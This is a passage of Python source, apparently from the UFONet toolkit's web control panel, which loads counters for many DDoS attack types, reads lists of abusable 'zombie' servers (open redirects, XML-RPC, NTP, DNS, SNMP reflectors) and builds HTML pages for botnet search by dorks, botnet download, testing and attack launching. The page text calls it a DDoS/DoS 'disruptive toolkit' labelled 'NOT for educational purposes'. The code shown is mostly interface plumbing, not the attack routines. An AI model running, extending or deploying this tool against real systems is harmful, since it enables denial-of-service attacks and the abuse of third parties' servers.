  2689. self.ascanner = data["scanner"]
  2690. self.atransferred = data["transferred"]
  2691. self.amax_chargo = data["max_chargo"]
  2692. self.amissions = data["missions"]
  2693. self.acompleted = data["completed"]
  2694. self.aloic = data["loic"]
  2695. self.aloris = data["loris"]
  2696. self.aufosyn = data["ufosyn"]
  2697. self.aspray = data["spray"]
  2698. self.asmurf = data["smurf"]
  2699. self.axmas = data["xmas"]
  2700. self.anuke = data["nuke"]
  2701. self.atachyon = data["tachyon"]
  2702. self.amonlist = data["monlist"]
  2703. self.afraggle = data["fraggle"]
  2704. self.asniper = data["sniper"]
  2705. self.aufoack = data["ufoack"]
  2706. self.auforst = data["uforst"]
  2707. self.adroper = data["droper"]
  2708. self.aoverlap = data["overlap"]
  2709. self.apinger = data["pinger"]
  2710. self.aufoudp = data["ufoudp"]
  2711. self.tcrashed = data["crashed"]
  2712. if int(self.acompleted) > 0: # check for attacks completed
  2713. self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed
  2714. else:
  2715. self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play"
  2716. if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences
  2717. self.ranking = "Rookie"
  2718. elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks
  2719. self.ranking = "Mercenary"
  2720. elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed
  2721. self.ranking = "Bandit"
  2722. elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-)
  2723. self.ranking = "UFOmmander!"
  2724. elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-)
  2725. self.ranking = "UFOl33t!"
  2726. f = open(self.zombies_file)
  2727. self.zombies = f.readlines()
  2728. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  2729. self.list_zombies = []
  2730. for zombie in self.zombies:
  2731. t = urlparse(zombie)
  2732. name_zombie = t.netloc
  2733. if "www." in name_zombie:
  2734. name_zombie = name_zombie.replace("www.","")
  2735. self.list_zombies.append(name_zombie)
  2736. self.num_zombies = str(len(self.zombies))
  2737. f.close()
  2738. f = open(self.aliens_file)
  2739. self.aliens = f.readlines()
  2740. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  2741. self.list_aliens = []
  2742. for alien in self.aliens:
  2743. t = urlparse(alien)
  2744. name_alien = t.netloc
  2745. if "www." in name_alien:
  2746. name_alien = name_alien.replace("www.","")
  2747. self.list_aliens.append(name_alien)
  2748. self.num_aliens = str(len(self.aliens))
  2749. f.close()
  2750. f = open(self.droids_file)
  2751. self.droids = f.readlines()
  2752. self.droids = [droid.replace('\n', '') for droid in self.droids]
  2753. self.list_droids = []
  2754. for droid in self.droids:
  2755. t = urlparse(droid)
  2756. name_droid = t.netloc
  2757. if "www." in name_droid:
  2758. name_droid = name_droid.replace("www.","")
  2759. self.list_droids.append(name_droid)
  2760. self.num_droids = str(len(self.droids))
  2761. f.close()
  2762. f = open(self.ucavs_file)
  2763. self.ucavs = f.readlines()
  2764. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  2765. self.list_ucavs = []
  2766. for ucav in self.ucavs:
  2767. t = urlparse(ucav)
  2768. name_ucav = t.netloc
  2769. if "www." in name_ucav:
  2770. name_ucav = name_ucav.replace("www.","")
  2771. self.list_ucavs.append(name_ucav)
  2772. self.num_ucavs = str(len(self.ucavs))
  2773. f.close()
  2774. f = open(self.rpcs_file)
  2775. self.rpcs = f.readlines()
  2776. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  2777. self.list_rpcs = []
  2778. for rpc in self.rpcs:
  2779. t = urlparse(rpc)
  2780. name_rpc = t.netloc
  2781. if "www." in name_rpc:
  2782. name_rpc = name_rpc.replace("www.","")
  2783. self.list_rpcs.append(name_rpc)
  2784. self.num_rpcs = str(len(self.rpcs))
  2785. f.close()
  2786. f = open(self.ntps_file)
  2787. self.ntps = f.readlines()
  2788. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  2789. self.list_ntps = []
  2790. for ntp in self.ntps:
  2791. t = urlparse(ntp)
  2792. name_ntp = t.netloc
  2793. if "www." in name_ntp:
  2794. name_ntp = name_ntp.replace("www.","")
  2795. self.list_ntps.append(name_ntp)
  2796. self.num_ntps = str(len(self.ntps))
  2797. f.close()
  2798. f = open(self.dnss_file)
  2799. self.dnss = f.readlines()
  2800. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  2801. self.list_dnss = []
  2802. for dns in self.dnss:
  2803. t = urlparse(dns)
  2804. name_dns = t.netloc
  2805. if "www." in name_dns:
  2806. name_dns = name_dns.replace("www.","")
  2807. self.list_dnss.append(name_dns)
  2808. self.num_dnss = str(len(self.dnss))
  2809. f.close()
  2810. f = open(self.snmps_file)
  2811. self.snmps = f.readlines()
  2812. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  2813. self.list_snmps = []
  2814. for snmp in self.snmps:
  2815. t = urlparse(snmp)
  2816. name_snmp = t.netloc
  2817. if "www." in name_snmp:
  2818. name_snmp = name_snmp.replace("www.","")
  2819. self.list_snmps.append(name_snmp)
  2820. self.num_snmps = str(len(self.snmps))
  2821. f.close()
  2822. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_ntps) + int(self.num_dnss) + int(self.num_snmps))
  2823. f = open(self.wargames_file, "r")
  2824. ls = f.readlines()
  2825. f.close()
  2826. self.supply_wargames = 0
  2827. self.wargames_engage_list = []
  2828. for l in ls:
  2829. if "!!!" in l:
  2830. self.wargames_engage_list.append(l)
  2831. self.supply_wargames = self.supply_wargames + 1
  2832. if self.supply_wargames > 0:
  2833. self.current_tasks = ' - Jobs: <a href="/wargames" target="_blank">' + str(self.supply_wargames) + '</a>'
  2834. self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine
  2835. else:
  2836. self.current_tasks = ' - Jobs: <a href="/wargames" target="_blank">0</a>'
  2837. self.options = UFONetOptions()
  2838. self.pages = {}
  2839. self.pages["/header"] = """<!DOCTYPE html><html>
  2840. <head>
  2841. <link rel="icon" type="image/png" href="/images/favicon.ico" />
  2842. <meta name="author" content="psy">
  2843. <meta name="robots" content="noindex, nofollow">
  2844. <meta http-equiv="content-type" content="text/xml; charset=utf-8" />
  2845. <title>UFONet - [ C&C/DarkNet ]</title>
  2846. <script language="javascript" src="/lib.js"></script>
  2847. <script language="javascript" src="js/stars.js"></script>
  2848. <style>
  2849. body{font-size:15px}a,a:hover{outline:none;color:red;font-size:14px;font-weight:700}nav ul ul{display:none}nav ul li:hover > ul{display:block}nav ul{list-style:none;position:relative;display:inline-table}nav ul:after{content:"";clear:both;display:block}nav ul li{font-size:12px}nav ul li a{display:block;padding:2px 3px}html,body{height:100%}ul,li{margin:0;padding:0}.ringMenu{width:100px;margin:80px auto}.ringMenu ul{list-style:none;position:relative;width:100px;color:#fff}.ringMenu ul a{color:#fff}.ringMenu ul li{-webkit-transition:all .3s ease-in-out;-moz-transition:all .3s ease-in-out;-o-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ringMenu ul li a{display:block;width:100px;height:100px;background:rgba(50,50,50,0.7);text-align:center;line-height:100px;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px}.ringMenu ul li a:hover{background:rgba(230,150,20,0.7)}.ringMenu ul li:not(.main){-webkit-transform:rotate(-180deg) scale(0);-moz-transform:rotate(-180deg) scale(0);-o-transform:rotate(-180deg) scale(0);transform:rotate(-180deg) scale(0);opacity:0}.ringMenu:hover ul li{-webkit-transform:rotate(0) scale(1);-moz-transform:rotate(0) scale(1);-o-transform:rotate(0) scale(1);transform:rotate(0) scale(1);opacity:1}.ringMenu ul li.top{-webkit-transform-origin:50% 152px;-moz-transform-origin:50% 152px;-o-transform-origin:50% 152px;transform-origin:50% 152px;position:absolute;top:-102px;left:0}.ringMenu ul li.bottom{-webkit-transform-origin:50% -52px;-moz-transform-origin:50% -52px;-o-transform-origin:50% -52px;transform-origin:50% -52px;position:absolute;bottom:-102px;left:0}.ringMenu ul li.right{-webkit-transform-origin:-52px 50%;-moz-transform-origin:-52px 50%;-o-transform-origin:-52px 50%;transform-origin:-52px 50%;position:absolute;top:0;right:-102px}.ringMenu ul li.left{-webkit-transform-origin:152px 50%;-moz-transform-origin:152px 50%;-o-transform-origin:152px 50%;transform-origin:152px 50%;position:absolute;top:0;left:-102px}textarea{padding:30px 0}
  2850. </style>"""
  2851. self.pages["/footer"] = """</center></body>
  2852. </html>
  2853. """
  2854. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  2855. function Start() {
  2856. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  2857. }
  2858. </script>
  2859. <script type="text/javascript">
  2860. var text="REMEMBER -> This code is NOT for educational purposes!";
  2861. var delay=1;
  2862. var currentChar=1;
  2863. var destination="tt";
  2864. function type()
  2865. {
  2866. if (document.getElementById)
  2867. {
  2868. var dest=document.getElementById(destination);
  2869. if (dest)
  2870. {
  2871. dest.innerHTML=text.substr(0, currentChar);
  2872. currentChar++
  2873. if (currentChar>text.length)
  2874. {
  2875. currentChar=1;
  2876. setTimeout("type()", 5000);
  2877. }
  2878. else
  2879. {
  2880. setTimeout("type()", delay);
  2881. }
  2882. }
  2883. }
  2884. }
  2885. function startTyping(textParam, delayParam, destinationParam)
  2886. {
  2887. text=textParam;
  2888. delay=delayParam;
  2889. currentChar=1;
  2890. destination=destinationParam;
  2891. type();
  2892. }
  2893. </script>
  2894. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  2895. </head>
  2896. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2897. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2898. <center><br><br><br><br>
  2899. <table><tr>
  2900. <td>
  2901. <div class="ufo-cloud">
  2902. <ul>
  2903. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  2904. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  2905. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  2906. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  2907. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  2908. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  2909. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  2910. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  2911. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  2912. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  2913. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  2914. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  2915. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  2916. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  2917. <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
  2918. <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
  2919. <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
  2920. <li><a href="javascript:alert('There is no law, if there is a need...');"><span></span>'necessitas caret lege'</a></li>
  2921. <li><a href="javascript:alert('Let justice be done, and let the world perish...');"><span></span>'fiat iustitia, et pereat mundus'</a></li>
  2922. </ul>
  2923. </div>
  2924. </td>
  2925. <td><img src='data:image/png;base64,"""+self.ufonet_logo_img+"""'></td><td>
  2926. </td></tr></table><br>
  2927. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a /disruptive_toolkit/ that allows to perform <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks ...<br /><br />
  2928. <div id="tt">REMEMBER -> This code is NOT for educational purposes!</div><br />
  2929. <script type="text/javascript">
  2930. startTyping(text, 80, "tt");
  2931. </script><br />
  2932. <button title="Start Mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  2933. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  2934. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2935. }
  2936. function Missions() {
  2937. var win_requests = window.open("missions","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2938. }
  2939. function Stats() {
  2940. var win_requests = window.open("stats","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2941. }
  2942. function Browser() {
  2943. var win_requests = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2944. }
  2945. function Board() {
  2946. var win_requests = window.open("board","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2947. }
  2948. function Links() {
  2949. var win_requests = window.open("links","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2950. }
  2951. function Streams() {
  2952. var win_requests = window.open("streams","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2953. }
  2954. function TV() {
  2955. var win_requests = window.open("tv","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  2956. }
  2957. function Grid() {
  2958. var win_requests = window.open("grid","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2959. }
  2960. function Wargames() {
  2961. var win_requests = window.open("wargames","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  2962. }
  2963. </script>
  2964. </head>
  2965. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  2966. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  2967. <center>
  2968. <table cellpadding="38" cellspacing="38">
  2969. <tr>
  2970. <td>
  2971. <div class="ringMenu">
  2972. <ul>
  2973. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  2974. <li class="top"><a href="botnet">Botnet</a></li>
  2975. <li class="right"><a href="explore">Explore</a></li>
  2976. <li class="bottom"><a href="attack">Attack</a></li>
  2977. <li class="left"><a href="globalnet">Globalnet</a></li>
  2978. </ul>
  2979. </div>
  2980. </td>
  2981. <td>
  2982. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  2983. <tr>
  2984. <td>
  2985. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> [ <b>C&C/DarkNET</b> ]
  2986. ------------------------------------
  2987. | <a href="/help" target="_blank">HELP</a> - <a href="/faq" target="_blank">F.A.Q.</a> | <a href="/author" target="_blank">AUTHOR</a> |
  2988. ------------------------------------<b>
  2989. """ + self.options.version + """</b>
  2990. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  2991. | <a href='javascript:runCommandX("cmd_view_changelog")'>LOG</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">C0DE</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">MIRROR</a> - <a href='"""+torrent_seed+"""' target="_blank">SEED</a> | <a href='javascript:runCommandX("cmd_check_tool")'>UPDATE!</a> |
  2992. -------------------------------------
  2993. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  2994. - Stats: <a href="/stats" target="_blank"><b>""" + str(self.mothership_model) + """</b></a>
  2995. - Ranking: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</b></a><br>
  2996. - Proxy: <a href='javascript:runCommandX("cmd_check_tor")'><b>CHECK-TOR!</b></a><br>
  2997. - Chargo: <a href='javascript:runCommandX("cmd_list_army")'><b>"""+ self.total_botnet +"""</b></a><br>
  2998. - Nodes: <a href='javascript:runCommandX("cmd_list_nodes")'><b>"""+str(len(self.list_globalnet)+len(self.list_blackholes))+"""</b></a><br>
  2999. """+str(self.current_tasks)+"""</td>
  3000. <td>
  3001. <table>
  3002. <tr>
  3003. <td>
  3004. <table cellpadding="2" cellspacing="5">
  3005. <tr>
  3006. <td align="right"><img src='data:image/png;base64,"""+self.alien13_img+"""' onclick="Browser()"><br><a href="Browser()">SHIP.BROWSER</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien1_img+"""' onclick="News()"><br><a href="News()">SHIP.NEWS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien2_img+"""' onclick="Missions()"><br><a href="Missions()">SHIP.MISSIONS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien5_img+"""' onclick="TV()"><br><a href="TV()">SHIP.TV</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien10_img+"""' onclick="Links()"><br><a href="Links()">GLOBAL.LINKS</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien9_img+"""' onclick="Streams()"><br><a href="Streams()">GLOBAL.STREAMS</a></td></tr><tr><td align="right"><img src='data:image/png;base64,"""+self.alien4_img+"""' onclick="Board()"><br><a href="Board()">GLOBAL.BOARD</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien6_img+"""' onclick="Grid()"><br><a href="Grid()">GLOBAL.GRID</a></td><td align="right"><img src='data:image/png;base64,"""+self.alien8_img+"""' onclick="Wargames()"><br><a href="Wargames()">GLOBAL.WARGAMES</a>
  3007. </td></tr></table>
  3008. </tr>
  3009. </table>
  3010. </td>
  3011. </tr>
  3012. </table>
  3013. </td>
  3014. </tr>
  3015. </table><center><br><br>
  3016. <div id="cmdOut"></div>
  3017. """ + self.pages["/footer"]
  3018. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  3019. function Requests() {
  3020. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3021. }
  3022. function Maps() {
  3023. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  3024. win_map.resizeTo(screen.width,screen.height);
  3025. }
  3026. function Start(){
  3027. dork=document.getElementById("dork").value
  3028. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  3029. if (document.getElementById("autosearch").checked){
  3030. document.getElementById("autosearch").value = "on";
  3031. } else {
  3032. document.getElementById("autosearch").value = "off";
  3033. }
  3034. autosearch = document.getElementById("autosearch").value
  3035. if (document.getElementById("dork_list").checked){
  3036. document.getElementById("dork_list").value = "on";
  3037. } else {
  3038. document.getElementById("dork_list").value = "off";
  3039. }
  3040. dork_list = document.getElementById("dork_list").value
  3041. if(dork == "" && dork_list == "off" && autosearch == "off") {
  3042. window.alert("You need to enter a source for dorking...");
  3043. return
  3044. }else{
  3045. if (document.getElementById("all_engines").checked){
  3046. document.getElementById("all_engines").value = "on";
  3047. exclude_engines=document.getElementById("exclude_engines").value
  3048. } else {
  3049. document.getElementById("all_engines").value = "off";
  3050. }
  3051. all_engines = document.getElementById("all_engines").value
  3052. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)+"&exclude_engines="+escape(exclude_engines)
  3053. runCommandX("cmd_search",params)
  3054. }
  3055. }
  3056. function Download_Botnet_IP(){
  3057. blackhole=document.getElementById("download_botnet_ip").value
  3058. params="blackhole="+escape(blackhole)
  3059. runCommandX("cmd_download_botnet_ip",params)
  3060. }
  3061. function showHide()
  3062. {
  3063. if(document.getElementById("dork_list").checked)
  3064. {
  3065. document.getElementById("dork_pattern").style.display = "none";
  3066. document.getElementById("autosearch_pattern").style.display = "none";
  3067. }
  3068. else {
  3069. document.getElementById("dork_pattern").style.display = "";
  3070. document.getElementById("autosearch_pattern").style.display = "";
  3071. }
  3072. }
  3073. function showHideEngines()
  3074. {
  3075. if(document.getElementById("all_engines").checked)
  3076. {
  3077. document.getElementById("s_engine").style.display = "none";
  3078. document.getElementById("sex_engine").style.display = "";
  3079. }
  3080. else {
  3081. document.getElementById("s_engine").style.display = "";
  3082. document.getElementById("sex_engine").style.display = "none";
  3083. }
  3084. }
  3085. function HideAll()
  3086. {
  3087. if(document.getElementById("autosearch").checked)
  3088. {
  3089. document.getElementById("s_engine").style.display = "none";
  3090. document.getElementById("dork_pattern").style.display = "none";
  3091. document.getElementById("list_pattern").style.display = "none";
  3092. document.getElementById("allengines_pattern").style.display = "none";
  3093. document.getElementById("all_engines").checked = false;
  3094. document.getElementById("dork_list").checked = false;
  3095. document.getElementById("dork").value = "";
  3096. }
  3097. else {
  3098. document.getElementById("s_engine").style.display = "";
  3099. document.getElementById("dork_pattern").style.display = "";
  3100. document.getElementById("list_pattern").style.display = "";
  3101. document.getElementById("allengines_pattern").style.display = "";
  3102. }
  3103. }
  3104. </script>
  3105. </head>
  3106. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  3107. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  3108. <center>
  3109. <table cellpadding="38" cellspacing="38">
  3110. <tr>
  3111. <td>
  3112. <div class="ringMenu">
  3113. <ul>
  3114. <li class="main"><a href="botnet">Botnet</a></li>
  3115. <li class="top"><a href="globalnet">Globalnet</a></li>
  3116. <li class="right"><a href="explore">Explore</a></li>
  3117. <li class="bottom"><a href="attack">Attack</a></li>
  3118. <li class="left"><a href="gui">RETURN</a></li>
  3119. </ul>
  3120. </div>
  3121. </td>
  3122. <td>
  3123. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  3124. <tr><td>
  3125. <pre>
  3126. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button>
  3127. <form method='GET'><br><hr><br>Search Botnet:<br><div id="autosearch_pattern" style="display:block;">
  3128. * Search automatically (may take time!) <input type="checkbox" CHECKED id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:none;">
  3129. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:none;">
  3130. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:none;">
  3131. * Search using this search engine: <select id="engines_list">
  3132. <option value="duck" selected>duck</option>
  3133. <option value="bing">bing</option>
  3134. <option value="yahoo">yahoo</option>
  3135. <!-- <option value="google">google (no TOR!)</option>-->
  3136. <!-- <option value="yandex">yandex</option>-->
  3137. </select></div><div id="allengines_pattern" style="display:none;">
  3138. * Search using all search engines: <input type="checkbox" name="all_engines" id="all_engines" onchange="showHideEngines()"></div><div id="sex_engine" name="sex_engine" style="display:none;">
  3139. * Exclude this search engines: <input type="text" name="exclude_engines" id="exclude_engines" size="10" placeholder="Yahoo,Bing"></div></form>
  3140. <button title="Start to search for zombies..." style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Start()>SEARCH!</button>
  3141. <br><hr>
  3142. <br>Download Botnet: <center><br><a href='javascript:runCommandX("cmd_list_nodes")'>LIST NODES</a> | <a href='javascript:runCommandX("cmd_download_nodes")'>TAKE ALL!</a> | <input type="text" name="download_botnet_ip" id="download_botnet_ip" size="20" value='"""+default_blackhole+"""'> <button title="Start to search for zombies..." style="color:yellow; height:40px; width:140px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Download_Botnet_IP()>TAKE IT!</button></center>
  3143. <hr>
  3144. Test Botnet: <center><br><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center>
  3145. <hr>
  3146. View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button></pre>
  3147. </td>
  3148. <td>
  3149. <table cellpadding="5" cellspacing="2">
  3150. <tr>
  3151. <td align="right">Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
  3152. </tr>
  3153. <tr><td><hr></td></tr>
  3154. <tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
  3155. <tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
  3156. <tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
  3157. <tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
  3158. <tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
  3159. <tr><td><table align="right"><tr><td>NTPs:</td><td><a href='javascript:runCommandX("cmd_list_ntps")'>"""+self.num_ntps+"""</a></td></tr></table></td></tr>
  3160. <tr><td><table align="right"><tr><td>DNSs:</td><td><a href='javascript:runCommandX("cmd_list_dnss")'>"""+self.num_dnss+"""</a></td></tr></table></td></tr>
  3161. <tr><td><table align="right"><tr><td>SNMPs:</td><td><a href='javascript:runCommandX("cmd_list_snmps")'>"""+self.num_snmps+"""</a></td></tr></table></td></tr>
  3162. <tr><td><hr></td></tr>
  3163. <tr>
  3164. <td align="right">GLOBAL.RADAR (nodes) = <b><font size='5' align="right"><a href="/radar" target="_blank">"""+str(len(self.list_globalnet))+"""</a></font></b></td>
  3165. </tr>
  3166. <tr>
  3167. <td align="right">SHIP.WARPS (nodes) = <b><font size='5' align="right"><a href="/blackholes" target="_blank">"""+str(len(self.list_blackholes))+"""</a></font></b></td>
  3168. </tr>
  3169. </table>
  3170. </table>
  3171. </td>
  3172. </tr></table>
  3173. <hr>
  3174. <div id="cmdOut"></div>
  3175. """ + self.pages["/footer"]
  3176. self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
  3177. function Requests() {
  3178. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  3179. }
  3180. function ShowPanel() {
  3181. if (document.getElementById("extra_attack").checked){
  3182. document.getElementById("extra_panel").style.display = "block";
  3183. document.getElementById("loic").value = "";
  3184. document.getElementById("loris").value = "";
  3185. document.getElementById("ufosyn").value = "";
  3186. document.getElementById("spray").value = "";
  3187. document.getElementById("smurf").value = "";
  3188. document.getElementById("xmas").value = "";
  3189. document.getElementById("nuke").value = "";
  3190. document.getElementById("tachyon").value = "";
  3191. document.getElementById("monlist").value = "";
  3192. document.getElementById("fraggle").value = "";
  3193. document.getElementById("sniper").value = "";
  3194. document.getElementById("ufoack").value = "";
  3195. document.getElementById("uforst").value = "";
  3196. document.getElementById("droper").value = "";
  3197. document.getElementById("overlap").value = "";
  3198. document.getElementById("pinger").value = "";
  3199. document.getElementById("ufoudp").value = "";
  3200. document.getElementById("dbstress").value = "";
  3201. } else {
  3202. document.getElementById("extra_panel").style.display = "none";
  3203. document.getElementById("loic").value = "";
  3204. document.getElementById("loris").value = "";
  3205. document.getElementById("ufosyn").value = "";
  3206. document.getElementById("spray").value = "";
  3207. document.getElementById("smurf").value = "";
  3208. document.getElementById("xmas").value = "";
  3209. document.getElementById("nuke").value = "";
  3210. document.getElementById("tachyon").value = "";
  3211. document.getElementById("monlist").value = "";
  3212. document.getElementById("fraggle").value = "";
  3213. document.getElementById("sniper").value = "";
  3214. document.getElementById("ufoack").value = "";
  3215. document.getElementById("uforst").value = "";
  3216. document.getElementById("droper").value = "";
